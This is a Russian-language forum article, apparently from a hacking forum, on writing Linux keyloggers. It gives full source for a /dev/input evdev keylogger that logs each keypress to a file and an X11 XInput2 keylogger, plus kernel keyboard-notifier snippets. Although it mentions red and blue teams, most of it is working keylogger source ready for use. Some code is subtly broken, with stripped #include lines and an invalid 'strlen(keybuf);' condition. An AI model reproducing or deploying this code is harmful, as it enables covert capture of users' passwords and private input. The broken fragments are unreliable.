• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Пишем кейлоггер на Linux

tabac

CPU register
Пользователь
Регистрация
30.09.2018
Сообщения
1 610
Решения
1
Реакции
3 332
Первая часть полного руководства по кейлоггингу в Linux будет посвящена основам кейлоггинга и его важности в сфере обеспечения безопасности Linux. Мы подробно разберем кейлоггинг в пользовательском пространстве и покажем как написать кейлоггер для Linux, считывающий нажатия с клавиатуры устройства.

Что такое кейлоггер?​

Кейлоггер – программа, скрытно регистрирующая различные действия пользователя. Чаще всего отслеживаются нажатия клавиш на клавиатуре компьютера. В зависимости от дизайна, кейлоггеры способны работать как в пространстве ядра, так и в пространстве пользователя. В этой статье мы рассмотрим кейлоггинг в пространстве пользователя.

Почему нужно изучать кейлоггеры?​

Чаще всего кейлоггеры используют на аудитах информационной безопасности. Специалисты из красной команды используют различные инструменты для взлома целевой системы, проникновения в инфраструктуру и кражи ценных данных. Это необходимо, чтобы найти и раскрыть различные уязвимости в системах безопасности целевой организации. Кейлоггеры – один из инструментов красной команды, которые часто используются в реальных атаках. С их помощью собирают учетные данные, необходимые для проникновения в инфраструктуру организации.

Кому это может понадобиться?​

Специалистам Offensive Security или красной команде:
  1. Вы узнаете, какие методы внедрения кейлоггеров существуют;
  2. Вы поймете, где можно запустить кейлоггер.
Специалистам Defensive Security или синей команде:
  1. Вы поймете, где могут скрываться кейлоггеры;
  2. Вы узнаете общие API и методы, которые следует отслеживать для обнаружения кейлоггеров.

Взаимодействие клавиатуры и Linux​

Чтобы написать кейлоггер, нам нужно знать как работает клавиатура в Linux. Ниже показано то, как клавиатура вписывается в общую схему:
/-----------+-----------\ /-----------+-----------\
| app 1 | app 2 | | app 3 | app 4 |
\-----------+-----------/ \-----------+-----------/
^ ^
| |
+-------+ |
| |
| key symbol keycode |
| + modifiers |
| |
| |
+---+-------------+ +-----------+-------------+
+ X server | | /dev/input/eventX |
+-----------------+ +-------------------------+
^ ^
| keycode / scancode |
+---------------+---------------+
|
|
+---------------+--------------+ interrupt
| kernel | <--------=-------+
+------------------------------+ |
|
+----------+ USB, PS/2 +-------------+ PCI, ... +-----+
| keyboard |------------------->| motherboard |----------->| CPU |
+----------+ key up/down +-------------+ +-----+

Здесь клавиатура не передает ASCII-код нажатой клавиши. Она передает уникальный байт на каждое событие нажатия и отпускания клавиши
Код:
keydown
и
Код:
keyup
который называется кодом клавиши или скан-кодом
Код:
keycode
или
Код:
scancode
Когда клавиша нажата или отпущена, она передает скан-код материнской плате через интерфейс, к которому подключена. Материнская плата обнаружит произошедшее событие клавиатуры (например, keydown и/или keyup) и запустит прерывание для CPU.

CPU видит это прерывание и запускает специальный фрагмент кода, называемый обработчиком прерывания (который приходит из ядра и регистрируется путем заполнения таблицы дескрипторов прерываний). Обработчик прерывания принимает информацию, переданную клавиатурой, и передает ее ядру, которое выводит ее через специальный путь в devtmpfs (/dev/input/eventX).

В ОС с GUI, X-сервер принимает скан-коды от ядра, после чего преобразует их в символ клавиши (key symbol) и соответствующие метаданные (modifiers). Этот слой обеспечивает правильное применение настроек локали и карты клавиатуры. Все GUI-приложения, запущенные в системе, получают события от X-сервера и, следовательно, получают обработанные данные о событиях.
Изучив основы, мы можем выбрать метод работы нашего будущего кейлоггера:
  • Кейлоггер определит, какой файл /dev/input/eventX является клавиатурным устройством и будет напрямую считывать данные из этого файла.
  • Кейлоггер запросит данные о событиях у X-сервера.

А как найти клавиатуру в системе?​

Определить клавиатуру или устройство, заменяющее ее, довольно просто:
  1. Итерируем все файлы по `/dev/input/;
  2. Проверяем, принадлежит ли найденный файл к символьному устройству;
  3. Проверяем, поддерживает ли данный файл события клавиатуры;
  4. Проверяем, есть ли в данном файле клавиши, встречающиеся на клавиатурах.
В системе может быть не одна клавиатура, или устройства, заменяющие ее (сканеры штрих-кодов). В таких случаях можно попытаться проверить поддержку нескольких клавиш. Чтобы отсеять ненужные устройства, можно считать все клавиши и обработать записанные данные.
Так можно итерировать каталоги и искать символьные файлы в C++17:
Код:
std::string get_kb_device()
{
    std::string kb_device = "";

    for (auto &p : std::filesystem::directory_iterator("/dev/input/"))
    {
        std::filesystem::file_status status = std::filesystem::status(p);

        if (std::filesystem::is_character_file(status))
        {
            kb_device = p.path().string();
        }
    }
    return kb_device;
}
А вот проверить то, что файл действительно принадлежит клавиатуре и поддерживает клавиши, встречающиеся на реальных клавиатурах, немного сложнее:
  1. Проверим, действительно ли файл доступен для чтения.
  2. Используем IOCTL (функцию, манипулирующую базовыми параметрами устройств, представленных в виде специальных файлов), чтобы проверить, поддерживаются ли события клавиатуры.
  3. Еще раз используем IOCTL и узнаем, поддерживаются ли нужные нам клавиши.
Пример кода для вышеописанной логики приведен ниже:
Код:
std::string filename = p.path().string();
int fd = open(filename.c_str(), O_RDONLY);
if(fd == -1)
{
    std::cerr << "Error: " << strerror(errno) << std::endl;
    continue;
}

int32_t event_bitmap = 0;
int32_t kbd_bitmap = KEY_A | KEY_B | KEY_C | KEY_Z;

ioctl(fd, EVIOCGBIT(0, sizeof(event_bitmap)), &event_bitmap);
if((EV_KEY & event_bitmap) == EV_KEY)
{
    ioctl(fd, EVIOCGBIT(EV_KEY, sizeof(event_bitmap)), &event_bitmap);
    if((kbd_bitmap & event_bitmap) == kbd_bitmap)
    {
        // The device supports A, B, C, Z keys, so it probably is a keyboard
        kb_device = filename;
        close(fd);
        break;
    }

}
close(fd);

Как реализовать считывание событий клавиатуры?​

Как только мы нашли клавиатуру или устройство, заменяющее ее, реализовать считывани события очень просто:
  1. Считываем данные с клавиатуры в объект `input_event`;
  2. Проверяем, является ли тип события EV_KEY (т.е. событием нажатия клавиши);
  3. Расшифруем поля и извлечем скан-код;
  4. Сопоставим скан-код с названием клавиши.
Структура `input_event` выглядит так:
Код:
struct input_event {
#if (__BITS_PER_LONG != 32 || !defined(__USE_TIME_BITS64)) && !defined(__KERNEL__)
    struct timeval time;
#define input_event_sec time.tv_sec
#define input_event_usec time.tv_usec
#else
    __kernel_ulong_t __sec;
#if defined(__sparc__) && defined(__arch64__)
    unsigned int __usec;
    unsigned int __pad;
#else
    __kernel_ulong_t __usec;
#endif
#define input_event_sec  __sec
#define input_event_usec __usec
#endif
    __u16 type;
    __u16 code;
    __s32 value;
}

Рассмотрим переменные в структуре:
  • `time`– временная метка, возвращающая время, в которое произошло событие.
  • ``type`– тип события, заданный в/usr/include/linux/input-event-codes.h.В случае события клавиатуры он будет**EV_KEY**.
  • ``code`– код события, заданный в/usr/include/linux/input-event-codes.h.В случае события клавиатуры он станет скан-кодом.
  • ``value`– значение события. Оно может может показывать относительное изменениеEV_REL, совершенно новое значениеEV_ABS. В EV_KEYоно принимает значение 0 дляkeyup, 1 дляkeydownи 2 для автоповтора.
Чтобы сопоставить скан-код и название клавиши, можно воспользоваться таким способом:
Код:
std::vector keycodes = {
        "RESERVED",
        "ESC",
        "1",
        "2",
        "3",
        "4",
        "5",
        "6",
        "7",
        "8",
        "9",
        "0",
        "MINUS",
        "EQUAL",
        "BACKSPACE",
        "TAB",
        "Q",
        "W",
        "E",
        "R",
        "T",
        "Y",
        "U",
        "I",
        "O",
        "P",
        "LEFTBRACE",
        "RIGHTBRACE",
        "ENTER",
        "LEFTCTRL",
        "A",
        "S",
        "D",
        "F",
        "G",
        "H",
        "J",
        "K",
        "L",
        "SEMICOLON",
        "APOSTROPHE",
        "GRAVE",
        "LEFTSHIFT",
        "BACKSLASH",
        "Z",
        "X",
        "C",
        "V",
        "B",
        "N",
        "M",
        "COMMA",
        "DOT",
        "SLASH",
        "RIGHTSHIFT",
        "KPASTERISK",
        "LEFTALT",
        "SPACE",
        "CAPSLOCK",
        "F1",
        "F2",
        "F3",
        "F4",
        "F5",
        "F6",
        "F7",
        "F8",
        "F9",
        "F10",
        "NUMLOCK",
        "SCROLLLOCK"
};
Для полноты картины ниже приведен полный исходный код кейлоггера:
Код:
#include
#include
#include
#include

#include
#include

#include

#include
#include
#include
#include

std::vector keycodes = {
        "RESERVED",
        "ESC",
        "1",
        "2",
        "3",
        "4",
        "5",
        "6",
        "7",
        "8",
        "9",
        "0",
        "MINUS",
        "EQUAL",
        "BACKSPACE",
        "TAB",
        "Q",
        "W",
        "E",
        "R",
        "T",
        "Y",
        "U",
        "I",
        "O",
        "P",
        "LEFTBRACE",
        "RIGHTBRACE",
        "ENTER",
        "LEFTCTRL",
        "A",
        "S",
        "D",
        "F",
        "G",
        "H",
        "J",
        "K",
        "L",
        "SEMICOLON",
        "APOSTROPHE",
        "GRAVE",
        "LEFTSHIFT",
        "BACKSLASH",
        "Z",
        "X",
        "C",
        "V",
        "B",
        "N",
        "M",
        "COMMA",
        "DOT",
        "SLASH",
        "RIGHTSHIFT",
        "KPASTERISK",
        "LEFTALT",
        "SPACE",
        "CAPSLOCK",
        "F1",
        "F2",
        "F3",
        "F4",
        "F5",
        "F6",
        "F7",
        "F8",
        "F9",
        "F10",
        "NUMLOCK",
        "SCROLLLOCK"
};

int loop = 1;

void sigint_handler(int sig)
{
    loop = 0;
}

int write_all(int file_desc, const char *str)
{
    int bytesWritten = 0;
    int bytesToWrite = strlen(str);

    do
    {
        bytesWritten = write(file_desc, str, bytesToWrite);

        if(bytesWritten == -1)
        {
            return 0;
        }
        bytesToWrite -= bytesWritten;
        str += bytesWritten;
    } while(bytesToWrite > 0);

    return 1;
}

void safe_write_all(int file_desc, const char *str, int keyboard)
{
    struct sigaction new_actn, old_actn;
    new_actn.sa_handler = SIG_IGN;
    sigemptyset(&new_actn.sa_mask);
    new_actn.sa_flags = 0;

    sigaction(SIGPIPE, &new_actn, &old_actn);

    if(!write_all(file_desc, str))
    {
        close(file_desc);
        close(keyboard);
        std::cerr << "Error: " << strerror(errno) << std::endl;
        exit(1);
    }

    sigaction(SIGPIPE, &old_actn, NULL);
}

void keylogger(int keyboard, int writeout)
{
    int eventSize = sizeof(struct input_event);
    int bytesRead = 0;
    const unsigned int number_of_events = 128;
    struct input_event events[number_of_events];
    int i;

    signal(SIGINT, sigint_handler);

    while(loop)
    {
        bytesRead = read(keyboard, events, eventSize * number_of_events);

        for(i = 0; i < (bytesRead / eventSize); ++i)
        {
            if(events[i].type == EV_KEY)
            {
                if(events[i].value == 1)
                {
                    if(events[i].code > 0 && events[i].code < keycodes.size())
                    {
                        safe_write_all(writeout, keycodes[events[i].code].c_str(), keyboard);
                        safe_write_all(writeout, "\n", keyboard);
                    }
                    else
                    {
                        write(writeout, "UNRECOGNIZED", sizeof("UNRECOGNIZED"));
                    }
                }
            }
        }
    }
    if(bytesRead > 0) safe_write_all(writeout, "\n", keyboard);
}

std::string get_kb_device()
{
    std::string kb_device = "";

    for (auto &p : std::filesystem::directory_iterator("/dev/input/"))
    {
        std::filesystem::file_status status = std::filesystem::status(p);

        if (std::filesystem::is_character_file(status))
        {
            std::string filename = p.path().string();
            int fd = open(filename.c_str(), O_RDONLY);
            if(fd == -1)
            {
                std::cerr << "Error: " << strerror(errno) << std::endl;
                continue;
            }

            int32_t event_bitmap = 0;
            int32_t kbd_bitmap = KEY_A | KEY_B | KEY_C | KEY_Z;

            ioctl(fd, EVIOCGBIT(0, sizeof(event_bitmap)), &event_bitmap);
            if((EV_KEY & event_bitmap) == EV_KEY)
            {
                // The device acts like a keyboard

                ioctl(fd, EVIOCGBIT(EV_KEY, sizeof(event_bitmap)), &event_bitmap);
                if((kbd_bitmap & event_bitmap) == kbd_bitmap)
                {
                    // The device supports A, B, C, Z keys, so it probably is a keyboard
                    kb_device = filename;
                    close(fd);
                    break;
                }
            }
            close(fd);
        }
    }
    return kb_device;
}

void print_usage_and_quit(char *application_name)
{
    std::cout << "Usage: " << application_name << " output-file" << std::endl;
    exit(1);
}

int main(int argc, char *argv[])
{
    std::string kb_device = get_kb_device();

    if (argc < 2)
        print_usage_and_quit(argv[0]);

    if(kb_device == "")
        print_usage_and_quit(argv[0]);

    int writeout;
    int keyboard;

    if((writeout = open(argv[1], O_WRONLY|O_APPEND|O_CREAT, S_IROTH)) < 0)
    {
        std::cerr << "Error opening file " << argv[1] << ": " << strerror(errno) << std::endl;
        return 1;
    }

    if((keyboard = open(kb_device.c_str(), O_RDONLY)) < 0)
    {
        std::cerr << "Error accessing keyboard from " << kb_device << ". May require you to be superuser." << std::endl;
        return 1;
    }

    std::cout << "Keyboard device: " << kb_device << std::endl;
    keylogger(keyboard, writeout);

    close(keyboard);
    close(writeout);

    return 0;
}

Дальше мы рассмотрим немного другую технику захвата событий клавиатуры.

Стек графического интерфейса Linux​

В отличие от других операционных систем графический интерфейс (graphical user interface, GUI) не является частью самой ОС Linux. Графическим интерфейсом управляет стек различных приложений, библиотек и протоколов. Общий стек выглядит примерно так:

+---------------+ +--------------+
| Display:2 |<--=---+ +----=--->| WxWidget |-----+
+---------------+ | | +--------------+ |
| | |
+---------------+ | | +--------------+ |
| Display:1 |<--=---+ +----=--->| Qt |-----+
+---------------+ | | +--------------+ |
| | |
+---------------+ | | +--------------+ |
| Display:0 |<--=---+ +----=--->| GTK+ |-----+
+---------------+ | | +--------------+ |
| | |
| | |
upd ate +-------------+--+ ---=---> +-----+--------+ send data |
+------=--| X Server | | xlib |<-------------=------+
| screen +----------------+ <--=---- +--------------+ ask to repaint
| ^
| | events
| +---------+----------------+
+-->| Linux Kernel |
+--------------------------+

X-сервер находится между GUI и ОС, и отвечает за предоставление различных примитивов. X-сервер реализует парадигму «окна, значки, меню, указатель», которая является базой в системе графического интерфейса.

Протокол, понятный X-серверу, ориентирован на сеть (вы можете рисовать экран в абсолютно другой системе, а не в той, в которой запущено приложение) и является расширяемым по дизайну.

Наборы GUI-инструментов GTK, GTK+, Qt и т. д. используют различные библиотеки X-сервера для рисования различных элементов управления. Затем приложения используют библиотеки для разработки своих собственных пользовательских интерфейсов. Как правило, приложения будут работать в среде рабочего стола, которая реализует «традиционные» элементы (лаунчер, обои и т. д.) и элементы управления (drag-and-drop перетаскивание и т.д.).

Терминология X-сервера​

Поскольку X-сервер использует неинтуитивные термины, мы рассмотрим некоторые из них:
  • **display** (дисплей) — сам X-сервер;
  • **screen** (экран) — виртуальный фреймбуфер, связанный с «дисплеем». Дисплей может иметь более одного экрана;
  • **monitor** (монитор) — ваш физический монитор, на котором будет отображаться фреймбуфер. Как правило, экран будет сопоставлен с одним монитором. Можно использовать 2 монитора с одинаковым экраном или 2 небольших монитора как один большой экран (разные части экрана попадают на разные мониторы);
  • **root window** (корневое окно) — окно, в котором отображается все остальное. Это корневой узел дерева окон;
  • **virtual core device** (виртуальное основное устройство) — X-сервер всегда будет иметь 2 виртуальных основных (главных) устройства: мышь и клавиатуру. Они предназначены для предоставления основных действий в диапазоне разрешения экрана:
    • Пользователь, который зарегистрировался для событий XInput Extension, будет получать события в своем родном разрешении;
    • Пользователь, который напрямую открыл физические (подчиненные) устройства и зарегистрировался для событий, не получит основные события. Подчиненное устройство не может генерировать основные события.

Кейлоггинг в X-сервере​

Основной способ захвата ввода выглядит следующим образом:
  • Проверка запуска X-сервера;
  • Перечисление доступных дисплеев;
  • Выбор нужного дисплея;
  • Проверка доступности XInputExtension;
  • Установка маски события для включения событий нажатий клавиш;
  • Чтение событий с дисплея в цикле.

Перечисление дисплеев​

Во время работы X-сервер создает файлы сокетов в «/tmp/.X11-unix/» для каждого дисплея. Имена файлов соответствуют общему шаблону « X <цифры> », где «:<цифры>» будет отображаемым именем.

Мы можем пронумеровать этот путь и попытаться открыть доступные дисплеи. Так мы убедимся, что файлы сокетов действительно с X-сервера.

Пример кода для перечисления выглядит следующим образом:
Код:
std::vector<std::string> EnumerateDisplay()
{
  std::vector<std::string> displays;
 
  for (auto &p : std::filesystem::directory_iterator("/tmp/.X11-unix"))
  {
    std::string path = p.path().filename().string();
    std::string display_name = ":";
  
    if (path[0] != 'X') continue;
  
    path.erase(0, 1);
    display_name.append(path);
  
    Display *disp = XOpenDisplay(display_name.c_str());
    if (disp != NULL)
    {
      int count = XScreenCount(disp);
      printf("Display %s has %d screens\n",
        display_name.c_str(), count);

      int i;
      for (i=0; i<count; i++)
        printf(" %d: %dx%d\n",
          i, XDisplayWidth(disp, i), XDisplayHeight(disp, i));

      XCloseDisplay(disp);
    
      displays.push_back(display_name);
    }
  }
 
  return displays;
}
Мы перечислили экраны и их размеры для каждого обнаруженного дисплея. Если выполнить код, то он покажет:
Код:
Display :0 has 1 screens 0: 1920x1080
С дисплеем связан только 1 экран с разрешением 1920x1080.

Обнаружение XInputExtension​

Мы можем использовать XQueryExtension для проверки доступности расширения на выбранном дисплее. Поскольку расширения могут изменить свое поведение в будущем, нужно ограничиться конкретными версиями, в которых мы протестируем наш код. В этом примере мы будем придерживаться версии 2.0 XInputExtension.

Фрагмент кода для проверки выглядит следующим образом:
Код:
// Set up X
Display * disp = XOpenDisplay(hostname);
if (NULL == disp)
{
    std::cerr << "Cannot open X display: " << hostname << std::endl;
    exit(1);
}
 
// Test for XInput 2 extension
int xiOpcode, queryEvent, queryError;
if (! XQueryExtension(disp, "XInputExtension", &xiOpcode, &queryEvent, &queryError))
{
    std::cerr <<"X Input extension not available" << std::endl;
    exit(2);
}
// Request XInput 2.0, guarding against changes in future versions
int major = 2, minor = 0;
int queryResult = XIQueryVersion(disp, &major, &minor);
if (queryResult == BadRequest)
{
    std::cerr << "Need XI 2.0 support (got " << major << "." << minor << std::endl;
    exit(3);
}
else if (queryResult != Success)
{
    std::cerr << "Internal error" << std::endl;
    exit(4);
}

Регистрация событий​

Чтобы получить определенные события от X-сервера, мы должны сообщить ему интересующие нас события с помощью маски события. Маска определяется следующим образом:
Код:
 typedef struct {
    int deviceid;
    int mask_len;
    unsigned char* mask;
} XIEventMask;
  • Если deviceid является допустимым устройством, то маска события выбирается только для этого устройства;
  • Если идентификатор устройства равен XIAllDevices, то маска события выбирается для всех устройств;
  • Если идентификатор устройства равен XIAllMasterDevices, то маска события выбирается для всех главных устройств.
Эффективная маска событий представляет собой побитовое ИЛИ XIAllDevices, XIAllMasterDevices и маски событий соответствующего устройства. Параметр mask_len определяет длину маски в байтах. Mask — это бинарная маска в виде «1 << тип события».

Маска может быть установлена следующим образом:
Код:
Window root = DefaultRootWindow(disp);
XIEventMask m;
m.deviceid = XIAllMasterDevices;
m.mask_len = XIMaskLen(XI_LASTEVENT);
m.mask = (unsigned char*)calloc(m.mask_len, sizeof(char));
XISetMask(m.mask, XI_RawKeyPress);
XISetMask(m.mask, XI_RawKeyRelease);
 
XISelectEvents(disp, root, &m, 1);
XSync(disp, false);
free(m.mask);

Чтение событий​

Данные события поступают в объект «XGenericEventCookie», который определяется так:
Код:
 typedef struct {
    int type;
    unsigned long serial;
    Bool send_event;
    Display *display;
    int extension;
    int evtype;
    unsigned int cookie;
    void *data;
} XGenericEventCookie;
Для событий клавиатуры:
  • «type» станет _GenericEvent_;
  • «extension» станет _xiOpcode_;
  • «evtype» будет _XI_RawKeyRelease_ или _XI_RawKeyPress_;
  • «data» будут указывать на объект «XIRawEvent».
Чтобы прочитать события, нам нужно сделать следующее в цикле:
  • Выбрать событие с помощью «XNextEvent()»;
  • Убедиться, что выбранное событие предназначено для предполагаемого события (путем проверки значений полей);
  • Прочитать данные о событии.
Код для цикла выглядит следующим образом:
Код:
while (true)
{
    XEvent event;
    XGenericEventCookie *cookie = (XGenericEventCookie*)&event.xcookie;
    XNextEvent(disp, &event);
 
    if (XGetEventData(disp, cookie) &&
            cookie->type == GenericEvent &&
            cookie->extension == xiOpcode)
    {
        switch (cookie->evtype)
        {
            case XI_RawKeyRelease:
            case XI_RawKeyPress:
            {
                XIRawEvent *ev = (XIRawEvent*)cookie->data;
 
                // Ask X what it calls that key
                KeySym s = XkbKeycodeToKeysym(disp, ev->detail, 0, 0);
                if (NoSymbol == s) continue;
                char *str = XKeysymToString(s);
                if (NULL == str) continue;
 
                std::cout << (cookie->evtype == XI_RawKeyPress ? "+" : "-") << str << " " << std::flush;
                break;
            }
        }
    }
}
Если сравнить этот код с кодом кейлоггера из 1 части статьи, то можно увидеть, что нам не нужно вручную сопоставлять коды сканирования с фактическими клавишами на клавиатуре. X-сервер самостоятельно сопоставляет код сканирования с клавишами на текущей раскладке.

Полный код​

Для полноты картины представим код целиком:

Keylogger.cpp
Код:
#include <X11/XKBlib.h>
#include <X11/extensions/XInput2.h>
 
#include
 
#include
#include
#include
#include
#include
 
int printUsage(std::string application_name)
{
    std::cout << "USAGE: " << application_name << " [-display ] [-enumerate] [-help]" << std::endl;
    std::cout << "display      target X display                   (default :0)" << std::endl;
    std::cout << "enumerate    enumerate all X11 displays" << std::endl;
    std::cout << "help         print this information and exit" << std::endl;
 
    exit(0);
}
 
std::vector EnumerateDisplay()
{
    std::vector displays;
   
    for (auto &p : std::filesystem::directory_iterator("/tmp/.X11-unix"))
    {
        std::string path = p.path().filename().string();
        std::string display_name = ":";
       
        if (path[0] != 'X') continue;
       
        path.erase(0, 1);
        display_name.append(path);
       
        Display *disp = XOpenDisplay(display_name.c_str());
        if (disp != NULL)
        {
            int count = XScreenCount(disp);
            printf("Display %s has %d screens\n",
                display_name.c_str(), count);
 
            int i;
            for (i=0; i<count; i++)
                printf(" %d: %dx%d\n",
                    i, XDisplayWidth(disp, i), XDisplayHeight(disp, i));
 
            XCloseDisplay(disp);
           
            displays.push_back(display_name);
        }
    }
   
    return displays;
}
 
int main(int argc, char * argv[])
{
    const char * hostname    = ":0";
 
    // Get arguments
    for (int i = 1; i < argc; i++)
    {
        if      (!strcmp(argv[i], "-help"))
            printUsage(argv[0]);
        else if (!strcmp(argv[i], "-display"))
            hostname    = argv[++i];
        else if (!strcmp(argv[i], "-enumerate"))
        {
            EnumerateDisplay();
            return 0;
        }
        else
        {
            std::cerr << "Unknown argument: " << argv[i] << std::endl;
            printUsage(argv[0]);
        }
    }
 
    // Se t up X
    Display * disp = XOpenDisplay(hostname);
    if (NULL == disp)
    {
        std::cerr << "Cannot open X display: " << hostname << std::endl;
        exit(1);
    }
 
    // Test for XInput 2 extension
    int xiOpcode, queryEvent, queryError;
    if (! XQueryExtension(disp, "XInputExtension", &xiOpcode, &queryEvent, &queryError))
    {
        std::cerr << "X Input extension not available" << std::endl;
        exit(2);
    }
    { // Request XInput 2.0, guarding against changes in future versions
        int major = 2, minor = 0;
        int queryResult = XIQueryVersion(disp, &major, &minor);
        if (queryResult == BadRequest)
        {
            std::cerr << "Need XI 2.0 support (got " << major << "." << minor << std::endl;
            exit(3);
        }
        else if (queryResult != Success)
        {
            std::cerr << "Internal error" << std::endl;
            exit(4);
        }
    }
 
    // Register events
    Window root = DefaultRootWindow(disp);
   
    XIEventMask m;
    m.deviceid = XIAllMasterDevices;
    m.mask_len = XIMaskLen(XI_LASTEVENT);
    m.mask = (unsigned char*)calloc(m.mask_len, sizeof(char));
    XISetMask(m.mask, XI_RawKeyPress);
    XISetMask(m.mask, XI_RawKeyRelease);
   
    XISelectEvents(disp, root, &m, 1);
    XSync(disp, false);
    free(m.mask);
 
    while (true)
    {
        XEvent event;
        XGenericEventCookie *cookie = (XGenericEventCookie*)&event.xcookie;
        XNextEvent(disp, &event);
 
        if (XGetEventData(disp, cookie) &&
                cookie->type == GenericEvent &&
                cookie->extension == xiOpcode)
        {
            switch (cookie->evtype)
            {
                case XI_RawKeyRelease:
                case XI_RawKeyPress:
                {
                    XIRawEvent *ev = (XIRawEvent*)cookie->data;
 
                    // Ask X what it calls that key
                    KeySym s = XkbKeycodeToKeysym(disp, ev->detail, 0, 0);
                    if (NoSymbol == s) continue;
                    char *str = XKeysymToString(s);
                    if (NULL == str) continue;
 
                    std::cout <<  (cookie->evtype == XI_RawKeyPress ? "+" : "-") << str << " " << std::flush;
                    break;
                }
            }
        }
    }
}

Makefile
Код:
keylogger: keylogger.cpp
$(CXX) --std=c++17 -pedantic -Wall -lX11 -lXi -o keylogger keylogger.cpp -O0 -ggdb
clean:
rm --force keylogger

Теперь мы рассмотрим методы перехвата событий клавиатуры в ядре Linux.

Как работает клавиатура в Linux?​

Ниже приведена схема работы ОС с клавиатурой:

content-img(321).png

Ядро устанавливает обработчики прерываний, заполняя таблицу дескрипторов прерываний и передавая ее процессору (чтобы процессор знал, какую процедуру вызывать для любого заданного прерывания). Ядро также предоставляет систему уведомлений клавиатуры, которая принимает объекты **notifier_block** от других модулей ядра и вызывает соответствующие callback-функции на каждое событие клавиатуры.

Обработка прерываний​

Что такое прерывания?

Прерывание — это событие, которое изменяет нормальный ход выполнения программы и может генерироваться аппаратными устройствами или даже самим ЦП. Процессор получает прерывание и дает сигнал операционной системе о том, что ОС может обработать новые данные.

Прерывания можно разделить на две категории в зависимости от источника прерывания:
- синхронный, генерируется выполнением инструкции
- асинхронный, генерируемый внешним событием

Или же,

- маскируемый
  • можно игнорировать
  • сигнализируется через вывод INT
- немаскируемый
  • нельзя игнорировать
  • сигнализируется через вывод NMI
Аппаратные прерывания

Как правило, устройства, вызывающие прерывания, не связаны напрямую с CPU. Аппаратное обеспечение использует программируемый контроллер прерываний (PIC), который помогает центральному процессору, принимая прерывания от нескольких устройств и передавая их CPU в нужном формате. Выглядит это так:

content-img(322).png

Но в реальности обычно используется несколько улучшенных программируемых контроллера прерываний (APIC). Один из них взаимодействует с тепловыми датчиками, таймерами и т.д. Другие – с устройствами ввода и вывода. Выглядит это примерно так:

content-img(323).png

Внешние устройства взаимодействуют с I/O APIC, который принимает от них прерывания и передает их ядру процессора для обработки. Это происходит примерно следующим образом:
  • Устройство вызывает IRQ (запрос на прерывание) для запуска прерывания;
  • APIC преобразует IRQ в векторное число и записывает его в порт для чтения ядром ЦП;
  • APIC вызывает прерывание на выводе INTR.
  • APIC ожидает, пока ЦП подтвердит прерывание, прежде чем инициировать другое прерывание;
  • ЦП подтверждает прерывание, затем начинает обрабатывать его.
Программные прерывания

Хотя прерывания могут обрабатываться на уровне устройства и PIC/APIC, мы ограничимся обработкой на уровне ЦП. Когда процессор получает запрос на прерывание, он делает следующее:
  • Проверяет текущую привилегию выполнения;
  • Если необходимо изменить привилегию, переключает на стек с требуемой привилегией. Информация старого стека копируется в новый стек;
  • Делает резервную копию состояния процессора для переключения контекста (регистры, коды ошибок и т.д.); и меняется контекст;
  • Просматривает регистр IDTR, чтобы найти местоположение IDT;
  • Использует номер вектора прерывания в качестве ключа, и находит начальный адрес соответствующего обработчика, используя таблицу переходов в IDT и преобразования адресов;
  • Запускает обработчик прерывания;
  • Выполняет возврат из обработчика прерывания:
    • Восстанавливает регистры и коды ошибок
    • Переключается обратно на предыдущую привилегию
В Linux прерывания обычно обрабатываются в три этапа (оне все обработчики прерываний будут иметь все три этапа):
  1. Ядро отключит локальные прерывания и подтвердит запрос прерывания. Ядро запустит общий обработчик прерывания, который определит номер прерывания, обработчик прерывания для этого конкретного прерывания и контроллер прерывания. Почему это необходимо? Потому что один и тот же запрос на прерывание может использоваться несколькими устройствами. Такие прерывания называются общими прерываниями.
  2. Будут выполнены все связанные обработчики из соответствующих драйверов устройств. В конце этой цепочки вызывается специальный «конец прерывания»; так что управление может быть повторно подтверждено контроллером прерываний. На этом этапе прерывания локального процессора остаются отключенными.
  3. На этом этапе будут разрешены локальные прерывания на процессоре. Здесь будут выполняться все действия контекста отложенного прерывания.
Отложенные действия используются для запуска функций обратного вызова в более позднее время. Если отложенные действия запланированы обработчиком прерывания, соответствующая функция обратного вызова будет запущена после завершения обработчика прерывания.

Keyboard Notifier​

Keyboard notifier вызывает callback-функции и передает данные в виде структуры **keyboard_notifier_param**, которая выглядит так:
Код:
struct keyboard_notifier_param {
struct vc_data *vc;
int down;
int shift;
int ledstate;
unsigned int value;
};
Список переменных структуры:
  • vc – виртуальная консоль, для которой применяется событие клавиатуры;
  • down – 1 для нажатия клавиши, 0 для отпускания клавиши;
  • shift – текущее состояние модификатора, индексы битов маски - KG_*;
  • Значения, зависящие от типа события:
    1. **KBD_KEYCODE** – события всегда посылаются перед другими событиями;
    2. **KBD_UNBOUND_KEYCODE** – события посылаются, если код клавиши не связан с символом клавиши (keysym);
    3. **KBD_UNICODE** – события посылаются, если при переводе из keycode в keysym был получен Unicode-символ;
    4. **KBD_KEYSYM** – события посылаются, если при переводе из keycode в keysym был получен не Unicode-символ;
    5. **KBD_POST_KEYSYM** – события посылаются после обработки keysym не в Unicode.

Перехват событий клавиатуры в ядре​

Существует два способа перехвата клавиатурных событий в ядре:
  1. С помощью Keyboard Notifier:
    • Создайте блок keyboard notifier;
    • Проверьте наличие события KBD_KEYCODE в callback-функции и извлеките код клавиши;
    • Преобразуйте извлеченный код клавиш в читаемую строку.
  2. Callback-функция для проверки события выглядит так:
Код:
int keyboard_event_handler(struct notifier_block *nblock, unsigned long code, void *_param)
{
    char keybuf[12] = {0};
    struct keyboard_notifier_param *param = _param;
 
    if (!(param->down)) return NOTIFY_OK;
 
    keycode_to_string(param->value, param->shift, keybuf, 12);
 
    if (strlen(keybuf); < 1) return NOTIFY_OK;
 
    printk(KERN_INFO "Keylog: %s", keybuf);
 
    return NOTIFY_OK;
}
Этот обработчик может быть запущен во время загрузки (и выключен во время выгрузки), как показано ниже:
Код:
static struct notifier_block keysniffer_blk = {
        .notifier_call = keyboard_event_handler,
};
 
static int __init keylogger_init(void)
{
        register_keyboard_notifier(&keysniffer_blk);
        return 0;
}
 
static void __exit keylogger_exit(void)
{
        unregister_keyboard_notifier(&keysniffer_blk);
}
  • С помощью собственного IRQ. Его логика будет выглядеть так:
  • Запуск обработчика;
  • Перехват кода символа с клавиатуры;
  • Сопоставление кода символа с названием клавиши;
  • Запись расшифрованного кода.
